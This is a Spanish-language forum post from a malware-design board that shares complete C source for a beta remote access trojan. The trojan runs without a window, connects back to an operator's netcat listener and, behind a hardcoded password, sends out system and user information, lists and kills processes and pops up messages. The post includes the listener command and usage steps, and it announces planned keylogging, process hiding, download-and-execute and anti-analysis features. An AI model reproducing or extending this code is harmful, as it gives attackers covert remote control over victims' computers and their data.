elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Java [Guía] Patrones de diseño - Parte 1


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Código RAT red local v 1.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Código RAT red local v 1.0  (Leído 455 veces)
dapz

Desconectado Desconectado

Mensajes: 6



Ver Perfil
Código RAT red local v 1.0
« en: 19 Junio 2017, 20:40 »

Buenas, como tengo tiempo libre ahora voy a ir mejorando una RAT en redes locales
puede serle util a alguien que este aprendiendo con sockets y demás:

es una beta

-enumerar procesos
-terminar procesos.
-Cuadros de mensajes.
-Cierta Informacion General del sistema.

Opciones futuras:

-keylogger
-Esconder Procesos
-Captura de pantalla
-Descarga y ejecutar
-Anti VirtualBox y Anti-Analisis
-Hash de strings para el anti-analisis-estatico

y otras ideas que vayan surgiendo

-compilado con visual studio ultimate 2013, compilad y cambiad 127.0.0.1 por vuestra ip local.


-para usar:  descargad netcat: https://eternallybored.org/misc/netcat/

en una consola poned:

nc.exe -l -v -p 80

escuchara en el puerto 80 esperando conexiones

abrid el cliente en otro ordenador o en el mismo y se establece la conexion, la contraseña es: root, luego ayuda para ver las opciones


os dejo el codigo:

Código
  1.  
  2. #include <Windows.h>
  3. #include <stdio.h>
  4. #include <TlHelp32.h>
  5.  
  6.  
  7. #pragma comment(lib, "Ws2_32.lib")
  8.  
  9.  
  10. SOCKET sock;
  11. char buf[1024];
  12.  
  13. void info(){
  14.  
  15. //variables//
  16.  
  17. char pcname[30];
  18. char username[30];
  19. char nucleos[20];
  20. char os[40];
  21. int z;
  22. DWORD pcsize;
  23. DWORD usersize;
  24. DWORD totalramfisica;
  25. DWORD totalramvirtual;
  26. DWORD ramfisicadisponible;
  27. DWORD ramvirtualdisponible;
  28.  
  29. //nombre pc y usuario //
  30.  
  31. pcsize = sizeof pcname;
  32. usersize = sizeof username;
  33.  
  34. GetComputerNameA(pcname, &pcsize);
  35. GetUserNameA(username, &usersize);
  36.  
  37.  
  38. //nucleos del sistema//
  39. __asm
  40. {
  41. pushad
  42. mov eax, dword ptr fs : [0x18];
  43. mov eax, dword ptr ds : [eax + 0x30];
  44. mov eax, dword ptr ds : [eax + 0x64];
  45. cmp eax, 0x1
  46. jnz done
  47. xor eax, eax
  48. inc eax
  49. mov z, eax
  50. done:
  51. popad
  52.  
  53. }
  54. if (z == 1){
  55. strcpy(nucleos, "Solo 1 nucleo");
  56. }
  57. else{
  58. strcpy(nucleos, "Mas de 1 nucleo");
  59. }
  60. // Obtener informacion de la RAM //
  61.  
  62. MEMORYSTATUS status;
  63. ZeroMemory(&status, sizeof(MEMORYSTATUS));
  64. status.dwLength = sizeof(MEMORYSTATUS);
  65. GlobalMemoryStatus(&status);
  66.  
  67. //la WINAPI da las cantidades en bytes, hay que convertir megabytes //
  68.  
  69. totalramfisica = (status.dwTotalPhys) / (1024 * 1024);
  70. totalramvirtual = (status.dwTotalVirtual) / (1024 * 1024);
  71. ramfisicadisponible = (status.dwAvailPhys) / (1024 * 1024);
  72. ramvirtualdisponible = (status.dwAvailVirtual) / (1024 * 1024);
  73.  
  74.  
  75. //Tipo de version de windows //
  76.  
  77. OSVERSIONINFO verinfo;
  78. ZeroMemory(&verinfo, sizeof(OSVERSIONINFO));
  79. verinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  80. GetVersionEx(&verinfo);
  81.  
  82. if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 6 && verinfo.dwMinorVersion == 1){ strcpy(os, "Windows 7"); }
  83. else if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1){ strcpy(os, "Windows XP"); }
  84. else if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 9) { strcpy(os, "Windows Vista"); }
  85. else if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 6 && verinfo.dwMinorVersion == 2) { strcpy(os, "Windows 8"); }
  86. else if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 6 && verinfo.dwMinorVersion == 3) { strcpy(os, "Windows 8.1"); }
  87. else{ strcpy(os, "Windows 10"); }
  88.  
  89. //hora y fecha//
  90.  
  91. SYSTEMTIME horayfecha;
  92. GetSystemTime(&horayfecha);
  93.  
  94. //almacenamos los datos //
  95.  
  96. sprintf(buf, "\nPC: %s\nUSER: %s\nRAM FISICA TOTAL: %d\nRAM VIRTUAL TOTAL: %d\nRAM FISICA DISPONIBLE: %d\nRAM VIRTUAL DISPONIBLE: %d\nPORCENTAJE DE CPU EN USO: %d\nWINDOWS: %s\nNUCLEOS: %s\nFECHA: %d-%d-%d\nHORA: %d:%d:%d",
  97. pcname, username, totalramfisica, totalramvirtual, ramfisicadisponible, ramvirtualdisponible, status.dwMemoryLoad, os, nucleos, horayfecha.wDay, horayfecha.wMonth, horayfecha.wYear,
  98. horayfecha.wHour, horayfecha.wMinute, horayfecha.wSecond);
  99.  
  100.  
  101.  
  102. }
  103.  
  104. char *infogeneral(char *buffer){
  105.  
  106. info();
  107. sprintf(buffer, buf);
  108. send(sock, buffer, strlen(buffer), 0);
  109.  
  110. return buffer;
  111.  
  112.  
  113.  
  114. }
  115.  
  116. bool killprocid(DWORD pid){
  117.  
  118. HANDLE pHANDLE;
  119. if ((pHANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid))){
  120. if (TerminateProcess(pHANDLE, 0)){
  121. return TRUE;
  122. CloseHandle(pHANDLE);
  123. }
  124. else{
  125. return FALSE;
  126. }
  127. }
  128.  
  129.  
  130.  
  131. }
  132.  
  133. char *listarprocesos(char *buffer){
  134.  
  135. HANDLE hprocess;
  136. HANDLE hprocess2;
  137. PROCESSENTRY32 pe32;
  138. if ((hprocess = CreateToolhelp32Snapshot(2, 0)) != INVALID_HANDLE_VALUE){
  139. pe32.dwSize = sizeof(PROCESSENTRY32);
  140. if (Process32First(hprocess, &pe32)){
  141. while (Process32Next(hprocess, &pe32)){
  142. hprocess2 = CreateToolhelp32Snapshot(2, pe32.th32ProcessID);
  143. sprintf(buffer, "\n[+]Proceso: %ws | ID: %d", pe32.szExeFile, pe32.th32ProcessID);
  144. send(sock, buffer, strlen(buffer), 0);
  145. CloseHandle(hprocess2);
  146. }
  147. }
  148. CloseHandle(hprocess);
  149. }
  150.  
  151. return buffer;
  152.  
  153.  
  154. }
  155.  
  156. INT APIENTRY WinMain(HINSTANCE hInt, HINSTANCE hPrv, LPSTR lmp, INT nCmdshow){
  157.  
  158. char *ptr__ = (char*)malloc(sizeof(char)* 1024);
  159.  
  160. char comando[50];
  161. char password[6];
  162. int acceso;
  163.  
  164. WSADATA wsaData;
  165. WSAStartup(MAKEWORD(2, 0), &wsaData);
  166.  
  167. SOCKADDR_IN Addr;
  168.  
  169. while (TRUE){
  170.  
  171. sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  172. Addr.sin_family = AF_INET;
  173. Addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  174. Addr.sin_port = htons(80);
  175. connect(sock, (SOCKADDR*)&Addr, sizeof(Addr));
  176. send(sock, "\n[+]Conexion establecida!", strlen("\n[+]Conexion establecida!"), 0);
  177. send(sock, "\n[+]Password-> ", strlen("\n[+]Password-> "), 0);
  178. memset(password, '\0', sizeof(password));
  179. recv(sock, password, sizeof(password), 0);
  180. password[strlen(password) - 1] = '\0';
  181. if (!strcmp(password, "root")){
  182.  
  183. acceso = 1;
  184. while (acceso){
  185.  
  186. send(sock, "\n\nComando -> ", strlen("\n\nComando -> "), 0);
  187. memset(comando, '\0', sizeof(comando));
  188. recv(sock, comando, sizeof(comando), 0);
  189. comando[strlen(comando) - 1] = '\0';
  190. if (!strcmp(comando, "ayuda")){
  191.  
  192.  
  193. send(sock, "\n[+] [mensaje] Crear cuadro de mensaje", strlen("\n[+] [mensaje] Crear cuadro de mensaje"), 0);
  194. send(sock, "\n[+] [info] Informacion general", strlen("\n[+] [info] Informacion general"), 0);
  195. send(sock, "\n[+] [proc] Ver Procesos", strlen("\n[+] [proc] Ver Procesos"), 0);
  196. send(sock, "\n[+] [killproc] Matar Proceso", strlen("\n[+] [killproc] Matar Proceso"), 0);
  197. send(sock, "\n[+] [exit] salir del panel", strlen("\n[+] [exit] salir del panel"), 0);
  198.  
  199. }
  200. else if (!strcmp(comando, "mensaje")){
  201.  
  202. char cuerpo[40];
  203. char titulo[40];
  204.  
  205. send(sock, "\n[+]Introduce cuerpo del mensaje-> ", strlen("\n[+]Introduce cuerpo del mensaje-> "), 0);
  206. memset(cuerpo, '\0', sizeof(cuerpo));
  207. recv(sock, cuerpo, sizeof(cuerpo), 0);
  208. send(sock, "\n[+]Introduce titulo-> ", strlen("\n[+]Introduce titulo-> "), 0);
  209. memset(titulo, '\0', sizeof(titulo));
  210. recv(sock, titulo, sizeof(titulo), 0);
  211. MessageBoxA(NULL, cuerpo, titulo, MB_OK | MB_ICONASTERISK);
  212.  
  213.  
  214.  
  215. }
  216. else if (!strcmp(comando, "info")){
  217.  
  218. ptr__ = infogeneral(ptr__);
  219.  
  220.  
  221. }
  222. else if (!strcmp(comando, "proc")){
  223.  
  224. ptr__ = listarprocesos(ptr__);
  225. }
  226. else if (!strcmp(comando, "killproc")){
  227.  
  228. char pid[6];
  229. int i;
  230.  
  231. send(sock, "\n[+]Introduce id proceso> ", strlen("\n[+]Introduce id proceso> "), 0);
  232. memset(pid, '\0', sizeof(pid));
  233. recv(sock, pid, sizeof(pid), 0);
  234.  
  235. if (killprocid(i = atoi(pid)) == TRUE){
  236. send(sock, "\n[+]Proceso Terminado", strlen("\n[+]Proceso Terminado"), 0);
  237. }
  238. else{
  239. send(sock, "\n[+]Error Terminando proceso", strlen("\n[+]Error Terminando proceso"), 0);
  240. }
  241.  
  242. }
  243. else if (!strcmp(comando, "exit")){
  244. ExitProcess(1);
  245. }
  246.  
  247. }
  248.  
  249. }
  250. else{
  251. acceso = 0;
  252. send(sock, "\n[!]Password incorrecta", strlen("\n[!]Password incorrecta"), 0);
  253. closesocket(sock);
  254. ExitProcess(1);
  255. }
  256. Sleep(INFINITE);
  257. }
  258.  
  259. free(ptr__);
  260.  
  261. return EXIT_SUCCESS;
  262. }
  263.  
  264.  
  265.  
  266.  

En línea

C/C++ ASM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines